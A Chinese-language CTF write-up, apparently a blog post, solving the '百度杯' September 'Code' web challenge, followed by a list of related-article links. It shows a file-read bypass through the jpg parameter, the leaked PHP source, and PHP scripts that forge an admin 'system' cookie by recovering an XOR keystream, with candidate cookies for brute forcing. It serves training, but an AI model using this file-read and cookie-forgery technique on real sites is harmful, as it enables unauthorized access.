前言

这道题基本上花了我差不多快5个小时,前面虽然遇到了小问题,但是自己也是努力攻克掉了,只是卡在了最后那块,看了很多WP,逻辑上花了很久很久才想明白。可以说,这题还是很不错的。

WP

打开环境发现是一张照片,第一反应是保存到本地然后用记事本打开看看里面藏没藏flag,我也这样试了,没用。我又进行了抓包和dirsearch扫描,其中dirsearch扫描有了一些收获:

我们发现了config.php文件,还有.idea的相关文件。我虽然不知道这是个什么文件,但是把那些都给打开看了一遍。在看/.idea/workspace.xml的时候有了收获:

我们发现了fl3g_ichuqiu.php。打开看看,发现没什么用:

我们再回到一开始的那个有图片的网页看看。我们发现了URL上面的不同:

http://b43be496e4254ccbb8f9aa7243a9eb7249ea6d4e72374923.changame.ichunqiu.com/index.php?jpg=hei.jpg

最后的?jpg=那里似乎有文件包含或者文件读取,只不过结果是base64编码的。我们尝试读取一下index.php,果然成功了:


经过解码后我们可以得到index.php的内容:

<?php
/*** Created by PhpStorm.* Date: 2015/11/16* Time: 1:31*/
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64,".$txt."'></img>";/** Can you find the flag file?**/?>

里面可以看到PhpStorm,这里其实是一个点,但是我们通过目录扫描解决它了。Created by PhpStorm.” 是重点,因为phpstorm写的会有一个 .idea 文件夹,里面存储了一些配置文件。

这个正则表达式将所有非a-z,A-Z,0-9的字符变成空。而且我还看到了Can you find the flag file?这应该就是我之前发现的那个flag文件,即fl3g_ichuqiu.php。但是我们没法直接读取源码,因为_会被正则表达式匹配。又因为config.php会变成_,因此我们这样构造:

?jpg=fl3gconfigichuqiu.php

就可以成功获得fl3g_ichuqiu.php的源码。我以为flag会直接在里面,没想到还要进行代码审计,而且这是本题最难的地方:、

<?php
/*** Created by PhpStorm.* Date: 2015/11/16* Time: 1:31*/
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {$hash = '';$max = strlen($chars) - 1;for($i = 0; $i < $length; $i++)  {$hash .= $chars[mt_rand(0, $max)];}return $hash;
}function encrypt($txt,$key){for($i=0;$i<strlen($txt);$i++){$tmp .= chr(ord($txt[$i])+10);}$txt = $tmp;$rnd=random(4);$key=md5($rnd.$key);$s=0;for($i=0;$i<strlen($txt);$i++){if($s == 32) $s = 0;$ttmp .= $txt[$i] ^ $key[++$s];  //^:按二进制,相同为0,不同为1; }return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){$txt=base64_decode($txt);$rnd = substr($txt,0,4);$txt = substr($txt,4);$key=md5($rnd.$key);$s=0;for($i=0;$i<strlen($txt);$i++){if($s == 32) $s = 0;$tmp .= $txt[$i]^$key[++$s];}for($i=0;$i<strlen($tmp);$i++){$tmp1 .= chr(ord($tmp[$i])-10);}return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){echo $flag;
}else{setcookie('user',encrypt('guest',$key));echo "╮(╯▽╰)╭";
}
?>

代码审计这里就不解释了,看懂逻辑肯定是没问题的,难的是怎么根据这个来构造user。


我们请求的时候有一个user,响应里面也会有一个user,这个相应里面的user每次都是不一样的,根据源码可以知道因为里面有随机数。我们如何逆向来构造呢?我们首先看这个响应里给的user,就拿S3AwRRVJXRtJ举例,并且结合代码来逆推:

根据return base64_encode($rnd.$ttmp); 我们可以知道 S3AwRRVJXRtJ 是经过了base64编码的,我们首先应该把它base64解码,解码后的前四位应该是$rnd,后面的是$ttmp

再看这里$ttmp .= $txt[$i] ^ $key[++$s];我们需要知道,x^x ^y的结果是y,因为异或是按二进制每位进行比较,相同为0,不同为1;因此我们要知道$ttmp .= $txt[$i] ^ $key[++$s];里面的$key,可以拿$ttmp^$txt。
$txt是怎么获得呢:

for($i=0;$i<strlen($txt);$i++){$tmp .= chr(ord($txt[$i])+10);}
$txt = $tmp;

这里的$txt一开始是guest。因此直接让guest经过上述的操作,就可以得到了。因为guest是五位,因此在$ttmp .= $txt[$i] ^ $key[++$s];一共执行了5次,这样$key的键从1到5的值我们就知道了。接下来该怎么办呢?

我们再开始逆推decrypt这个函数。我们要让return的为system,那么下面的代码的$temp1就是system

for($i=0;$i<strlen($tmp);$i++){$tmp1 .= chr(ord($tmp[$i])-10);}

因此我们进行逆向推导,就可以得到$tmp。这里还可以知道$tmp是六位的,因为system是六位。

for($i=0;$i<strlen($txt);$i++){if($s == 32) $s = 0;$tmp .= $txt[$i]^$key[++$s];}

接下来就是这里。想要推出$txt,我们就可以异或,让$tmp ^$key。不过$key这里我们要注意一下。这里的$key如果我们不进行一些处理的话,并不是我们之前得到的那个$key的那五位。怎么让他们一样呢?我们让传入的user经过base解码后的前四位和S3AwRRVJXRtJ经过base64解码后的前四位一样。因为在函数里面,最开始传入的$key都是一样的:

这点一定要注意,我的意思是decrypt和encrypt这两个函数,传入的两个参数txt和key,其中key这个值可能是在config.php里面,我们经过多次请求,其实并不会改变config.php里面的key,这样真正传入的key并不会因为我们的请求而发生改变

这样经过$key=md5($rnd.$key);之后得到的]$key中的那五位和我们之前得到的就是一样的了。不过还有一点,因为$tmp是六位,因此我们要$tmp^$key的话,$key也要是六位,我们已经得到了前五位,只需要对第六位进行爆破即可。爆破的范围是1-9a-f,因为md5最终返回的数值是16进制对应的字符是0~9 a~f
这样经过异或得到的$txt前面再加上S3AwRRVJXRtJ经过base64解码后的前四位,再经过base64编码,得到的就是我们要构造的user了。

这里我用php写了代码,网上也有python的,因为我对python掌握的不是那么好,就只能用php写了。但是。。。php写的也不咋地。。。:

<?php$key='S3AwRRVJXRtJ';
$key=base64_decode($key);
$rnd=substr($key,0,4);
$ttmp=substr($key,4);
$txt='guest';
$tmp='';
$true_key='';
for($i=0;$i<strlen($txt);$i++)
{$tmp .= chr(ord($txt[$i])+10);
}
$txt=$tmp;
for($i=0;$i<5;$i++)
{$true_key.=$ttmp[$i]^$txt[$i];
}
$tmp1='system';
$tmp2='';
for($i=0;$i<strlen($tmp1);$i++)
{$tmp2 .= chr(ord($tmp1[$i])+10);
}
$arr=array('1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
for($j=0;$j<15;$j++)
{$true=$true_key.$arr[$j];$txt1='';for($i=0;$i<6;$i++){$txt1.=$tmp2[$i]^$true[$i];}$txt1=$rnd.$txt1;$txt1=base64_encode($txt1);print $txt1."<br>";
}

网上其他大佬写的php代码(膜一膜,这就是我和大佬写代码的差距):

<?php$txt1 = 'guest';for ($i = 0; $i < strlen($txt1); $i++) {$txt1[$i] = chr(ord($txt1[$i])+10);}$cookie_guest = 'MDltNEJKVx5O'; $cookie_guest = base64_decode($cookie_guest);$rnd = substr($cookie_guest,0,4); $ttmp = substr($cookie_guest,4);$key='';for ($i = 0; $i < strlen($txt1); $i++) {$key .= ($txt1[$i] ^ $ttmp[$i]);//$key=md5($rnd.$key);}$txt2 = 'system';for ($i = 0; $i < strlen($txt2); $i++) {$txt2[$i] = chr(ord($txt2[$i])+10);}$md5 = '0123456789abcdef';for ($i = 0; $i < strlen($md5); $i++) {$key_new = $key.$md5[$i];$cookie_system='';for ($j = 0; $j < strlen($txt2); $j++) {$cookie_system .= ($key_new[$j] ^ $txt2[$j]);}$cookie_system = base64_encode($rnd.$cookie_system);echo $cookie_system."</br>";}
?>

最后得到结果:

MDltNE62RR1fRg==
MDltNE62RR1fRQ==
MDltNE62RR1fRA==
MDltNE62RR1fQw==
MDltNE62RR1fQg==
MDltNE62RR1fQQ==
MDltNE62RR1fQA==
MDltNE62RR1fTw==
MDltNE62RR1fTg==
MDltNE62RR1fFg==
MDltNE62RR1fFQ==
MDltNE62RR1fFA==
MDltNE62RR1fEw==
MDltNE62RR1fEg==
MDltNE62RR1fEQ==

再放入burp进行爆破即可获得flag.

“百度杯”CTF比赛 九月场 Code相关推荐

  1. “百度杯”CTF比赛 九月场--web Upload

    "百度杯"CTF比赛 九月场--web Upload 基础知识 1.什么是一句话木马? 2.一句话木马的简要原理 3.html渲染过程 解析渲染该过程主要分为以下步骤 解决方案 4 ...

  2. “百度杯”CTF比赛 九月场 Upload解题思路

    Hello,大家好,我是锘锘鸡. 今天分享给大家的是百度杯CTF比赛的Upload解题思路. 先看下题目 提示flag就在flag.php中. 进入答题链接 发现是文件上传,于是好奇的锘锘鸡开始了他的 ...

  3. 【SQL注入】CTF练习题WriteUp——“百度杯”CTF比赛 九月场SQL

    目录 1 前言 2 解题步骤 2.1 审题 2.2 判断注入数据类型及闭合方式 2.3 尝试联合查询注入 2.3.1 测试回显列数 2.3.2 测试显示位 2.3.3 爆库 3 总结 1 前言 本节内 ...

  4. “百度杯”CTF比赛 九月场Upload 之菜刀的使用

    最近越学习 越感觉自己菜 然而 这并不是重点 然而 我有一颗上进的心 哈哈哈 敲黑板 划重点了 我们把没用的地方删掉 直接进入菜刀方法解决这道题 题干不是白给的 上传一句话木马 <?php ev ...

  5. “百度杯”CTF比赛 九月场_再见CMS(齐博cms)

    题目在i春秋ctf大本营 又是一道cms的题,打开御剑一通乱扫,发现后台登录地址,访问一看妥妥的齐博cms 记得以前很久以前利用一个注入通用漏洞,这里我贴上链接,里面有原理与利用方法详细说明: 齐博c ...

  6. ctf php fork,i春秋——“百度杯”CTF比赛 九月场——123(Apache解析pht,phtml,php3,phps等 php别名)...

    网页源码提示用户信息在user.php中,直接访问是不会有显示的,于是查找相应的备份文件,vim交换文件等,最后发现/user.php.bak 用burp采用如下配置开始爆破 最后爆破出两个账号 登录 ...

  7. CTFhtml解析php,i春秋——“百度杯”CTF比赛 九月场——123(Apache解析pht,phtml,php3等 php别名) Web程序 - 贪吃蛇学院-专业IT技术平台...

    网页源码提示用户信息在user.php中,直接访问是不会有显示的,于是查找相应的备份文件,vim交换文件等,最后发现/user.php.bak 用burp采用如下配置开始爆破 最后爆破出两个账号 登录 ...

  8. [WEB攻防] i春秋- “百度杯”CTF比赛 十二月场-YeserCMS cmseasy CmsEasy_5.6_20151009 无限制报错注入 复现过程

    中华人民共和国网络安全法(出版物)_360百科 可以说一道经典的CTF题目,解这道题的过程类似于我们渗透测试的过程,所以把它放在了这个专栏,在这里我们详细讲过程,而不是原理. 目录 题目 寻找方向 f ...

  9. [i春秋]“百度杯”CTF比赛 十月场-Hash

    前言 涉及知识点:反序列化.代码执行.命令执行 题目来自:i春秋 hash  如果i春秋题目有问题可以登录榆林学院信息安全协会CTF平台使用 或者利用本文章提供的源码自主复现 [i春秋]"百 ...

最新文章

  1. 抖音小程序开发:CEO们涌进直播间带货
  2. java鼠标图片裁剪,如何用Java中的鼠标指针捕获屏幕图像
  3. ACL 2020 | 基于不同硬件搜索更好的Transformer结构
  4. 视觉检测无脊椎机器人或vipir_深入浅出人工智能前沿技术—机器视觉检测,看清人类智慧工业...
  5. window.showModalDialog模式窗口无法在子窗口访问解决办法
  6. cmd后台运行exe_了解运行命令的原理,为QQ制作运行命令启动
  7. 恒生电子:收购Summit中国区业务
  8. ipad录屏软件_如何在 Mac 上优雅的截图和录屏
  9. endnote如何导入txt文件_EndNote导入万方文献的方法 | 科研动力
  10. 新思课堂C语言答案,新思课堂APP最新版下载_新思课堂APP官方版1.6.8下载_QQ下载站...
  11. stc单片机c语言程序头文件(stc12c5a60s2.h,STC12C5A60S2单片机头文件
  12. wintogo取消屏蔽本地磁盘
  13. 智能暖风机——FAQ
  14. python第三方库 invalid requirement_Python - 生成 requirement.txt 文件
  15. 数组排序 向大佬低头 时间算法
  16. 什么是大数据?零基础如何学习大数据?(附学习路线)
  17. 蒙尘的兴趣之心_小白
  18. “无法在设置线程模式后对其加以更改”
  19. 云服务器环境安装、卸载与配置:mysql
  20. php编写跑马灯,使用C++的编程风格写一个跑马灯的例程

热门文章

  1. 无限火力那个服务器最久,lol无限火力上线仅一天各大区相继爆满最热门的模式可能因此永久下线你觉得...
  2. 2021庐江高考成绩查询,2021年庐江县高考状元名单资料,今年庐江县高考状元多少分...
  3. 数据挖掘(1)--基础知识学习
  4. fastadmin后台login登录页面增加canvas粒子动画背景
  5. 苹果手机通讯录突然没了怎么恢复?
  6. B 站上最热门的 Python 课程
  7. 表扬计算机管理员,表扬一个人管理能力强的句子
  8. 很强的flash游戏
  9. Visual Studio软件中的行号设置
  10. 工作流-选择确定的人作为流程审批人